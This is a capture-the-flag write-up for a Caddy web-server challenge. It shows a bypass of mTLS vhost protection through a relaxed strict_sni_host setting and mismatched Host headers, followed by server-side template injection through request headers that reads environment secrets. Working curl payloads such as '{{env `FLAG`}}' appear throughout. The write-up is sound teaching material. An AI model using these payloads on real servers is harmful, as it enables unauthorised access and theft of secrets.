Ez โณ v3
Initial Look
We are supplied a caddy-handout.zip which extracts to a Dockerfile, docker-compose.yml and a Caddyfile.
The flag is initialised in the Dockerfile:
FROM caddy:2.9.1-alpine
COPY Caddyfile /etc/caddy/Caddyfile
ENV FLAG='kalmar{test}'
The Caddyfile has all the config:
{
debug
servers {
strict_sni_host insecure_off
}
}
*.caddy.chal-kalmarc.tf {
tls internal
redir public.caddy.chal-kalmarc.tf
}
public.caddy.chal-kalmarc.tf {
tls internal
respond "PUBLIC LANDING PAGE. NO FUN HERE."
}
private.caddy.chal-kalmarc.tf {
# Only admin with local mTLS cert can access
tls internal {
client_auth {
mode require_and_verify
trust_pool pki_root {
authority local
}
}
}
# ... and you need to be on the server to get the flag
route /flag {
@denied1 not remote_ip 127.0.0.1
respond @denied1 "No ..."
# To be really really sure nobody gets the flag
@denied2 `1 == 1`
respond @denied2 "Would be too easy, right?"
# Okay, you can have the flag:
respond {$FLAG}
}
templates
respond /cat `{{ cat "HELLO" "WORLD" }}`
respond /fetch/* `{{ httpInclude "/{http.request.orig_uri.path.1}" }}`
respond /headers `{{ .Req.Header | mustToPrettyJson }}`
respond /ip `{{ .ClientIP }}`
respond /whoami `{http.auth.user.id}`
respond "UNKNOWN ACTION"
}
There are 3 main โconfigurationโ sections:
*subdomains, redirect topublicand havetls internal.publicresponds with the contentPUBLIC LANDING PAGE. NO FUN HERE.,tls internalagain.privatehas all the fun!
private has a bit more configuration but the breakdown:
tls internalis initialised with the context that it authorises with mTLS so only the administrator can access it.route /flagonly responds if you are connecting from127.0.0.1and that1!=1to get the flag.
There are a few other routes which can be summarised as follows:
/catreturns a stringHELLO WORLD/fetch/*returns the page specified in/*, eg/fetch/catwould send backHELLO WORLD./headersprints out the request headers to formatted JSON./ipreturns the IP the request originates from/whoamireturn thehttp.auth.user.id- All other endpoints return
UNKNOWN ACTION.
strict_sni_host to Authentication Bypass
If you were paying attention, we glossed over one segment of the Caddyfile:
{
debug
servers {
strict_sni_host insecure_off
}
}
This option is strange, and has further documentation here and is by default enabled when client authentication is used.
Enabling this requires that a requestโs
Hostheader matches the value of theServerNamesent by the clientโs TLS ClientHello, a necessary safeguard when using TLS client authentication. If thereโs a mismatch, HTTP status421 Misdirected Requestresponse is written to the client.
By having this on insecure_off, we can mismatch the Host header and the URI we are requesting to, and access TLS authenticated endpoints.
Letโs test this to access private. We need to forge the SNI, letโs get the IP address of public:
$ ping public.caddy.chal-kalmarc.tf
PING f0ddaab5d349418ca0f6dc31d043813e.pacloudflare.com (172.65.208.191): 56 data bytes
64 bytes from 172.65.208.191: icmp_seq=0 ttl=64 time=18.684 ms
With the IP 172.65.208.191, we have all the information we need to make the SNI: public.caddy.chal-kalmarc.tf:443:172.65.208.191.
We can now specify an internal subdomain, like private, and access endpoints. Letโs try cat for exampleโs sake.
$ curl --resolve public.caddy.chal-kalmarc.tf:443:172.65.208.191 \
-H "Host: private.caddy.chal-kalmarc.tf" \
https://public.caddy.chal-kalmarc.tf/cat
HELLO WORLD
Perfect! We can now access endpoints in private!
Accessing from 127.0.0.1
Remembering the endpoints from earlier, we need to somehow access /flag from 127.0.0.1, which with our current payload does the following:
$ curl --resolve public.caddy.chal-kalmarc.tf:443:172.65.208.191 \
-H "Host: private.caddy.chal-kalmarc.tf" \
https://public.caddy.chal-kalmarc.tf/flag
No ...
So, what is of interest?
/catserves no purpose/fetch/*does internalhttpIncludeand could be very useful!/headersmight be useful/ipis useful for testing if we are really127.0.0.1/whoamimight be useful?
Letโs start with looking at what httpInclude does regarding /fetch/*
Reading the docs on httpInclude:
Includes the contents of another file, and renders it in-place, by making a virtual HTTP request (also known as a sub-request). The URI path must exist on the same virtual server because the request does not use sockets; instead, the request is crafted in memory and the handler is invoked directly for increased efficiency.
Presumably, this uses 127.0.0.1 to make the request, so if we access /fetch/ip it should httpInclude "/ip"!
$ curl --resolve public.caddy.chal-kalmarc.tf:443:172.65.208.191 \
-H "Host: private.caddy.chal-kalmarc.tf" \
https://public.caddy.chal-kalmarc.tf/fetch/ip
127.0.0.1
We are now halfway there!
We are not halfway there
Turns out that 1 != 1 is pretty hard to get aroundโฆ So we need to find another way!
I realised something interesting instead using /headers. The templating engine uses {{}} to designate templates. And if /fetch is used are templates rendered again? It all relies on if our headers make it through.
A common Caddy variable is {{now}} which just returns the current time.
Firstly I try with just /headers:
$ curl --resolve public.caddy.chal-kalmarc.tf:443:172.65.208.191 \
-H "Host: private.caddy.chal-kalmarc.tf" -H "idea: {{now}}" \
https://public.caddy.chal-kalmarc.tf/headers
{
"Accept": [
"*/*"
],
"Idea": [
"{{now}}"
],
"User-Agent": [
"curl/8.7.1"
]
}
Letโs now try through /fetch/headers:
$ curl --resolve public.caddy.chal-kalmarc.tf:443:172.65.208.191 \
-H "Host: private.caddy.chal-kalmarc.tf" -H "idea: {{now}}" \
https://public.caddy.chal-kalmarc.tf/fetch/headers
{
"Accept": [
"*/*"
],
"Accept-Encoding": [
"identity"
],
"Caddy-Templates-Include": [
"1"
],
"Idea": [
"2025-03-10 13:51:38.043763726 +0000 UTC m=+217394.911287425"
],
"User-Agent": [
"curl/8.7.1"
]
}
Bingo! We get the output to {{now}}!
Reading env
As overwriting the definition of 1 == 1 is probably a lot more annoying than getting the env, letโs look for that first!
Turnโs out the templating docs has an env variable!
Gets an environment variable.
{{env "VAR_NAME"}}
Sweet! Letโs grab the flag.
Solution
We can now use the SNI to access the internal private subdomain then abuse a SSTI bug on Caddy to read the environment variables for the flag.
$ curl --resolve public.caddy.chal-kalmarc.tf:443:172.65.208.191 \
-H "Host: private.caddy.chal-kalmarc.tf" -H "idea: {{env \`FLAG\`}}" \
https://public.caddy.chal-kalmarc.tf/fetch/headers
{
"Accept": [
"*/*"
],
"Accept-Encoding": [
"identity"
],
"Caddy-Templates-Include": [
"1"
],
"Idea": [
"kalmar{4n0th3r_K4lmarCTF_An0Th3R_C4ddy_Ch4ll}"
],
"User-Agent": [
"curl/8.7.1"
]
}
Flag: kalmar{4n0th3r_K4lmarCTF_An0Th3R_C4ddy_Ch4ll}
Related Writeups
l33t-benign
Now that you've figured out who was behind this operation, can you figure out who else was affected?
4spam
In the wake of last week's events, we've created a replacement (https://4spam.umbccd.net/). An old dump of some of the ...
Caddyshack
locate and connect to the server running on caddyshack.umbccd.net